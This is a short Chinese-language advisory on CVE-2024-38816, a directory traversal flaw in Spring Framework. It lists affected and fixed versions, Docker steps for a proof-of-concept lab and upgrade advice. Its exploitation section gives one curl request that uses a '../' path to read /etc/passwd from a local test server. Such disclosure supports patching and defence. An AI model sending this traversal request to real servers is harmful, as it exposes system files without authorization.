一、漏洞描述
Spring框架是 Java 平台的一个开源的全栈应用程序框架和控制反转容器实现。2024年9月,Spring官方发布公告披露 CVE-2024-38816 Spring Framework 特定条件下目录遍历漏洞。当同时满足使用 RouterFunctions 和 FileSystemResource 来处理和提供静态文件 时,攻击者可构造恶意请求遍历读取系统上的文件。
二、影响范围
1、影响版本
Spring Framework 5.3.0 - 5.3.39
Spring Framework 6.0.0 - 6.0.23
Spring Framework 6.1.0 - 6.1.12
其他更老或者官方已不支持的版本
2、安全版本
Spring Framework 5.3.40
Spring Framework 6.0.24
Spring Framework 6.1.13
三、环境搭建
Build the Docker image: (Spring Boot 3.0.13, based on Spring Framework 6.0.3)
git clone https://github.com/masa42/CVE-2024-38816-PoC.git #失效
git clone https://github.com/WULINPIN/CVE-2024-38816-PoC.git #备用
cd CVE-2024-38816-PoC/
docker build -t cve-2024-38816-poc .
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
四、漏洞利用
运行以下命令执行POC并确认漏洞:
curl http://localhost:8080/static/link/../etc/passwd
五、修复建议
目前该漏洞已经修复,受影响用户可升级到以下版本:
Spring Framework 5.3.x:升级到5.3.40(仅限企业支持)
Spring Framework 6.0.x:升级到6.0.24(仅限企业支持)
Spring Framework 6.1.x:升级到6.1.13或更高版本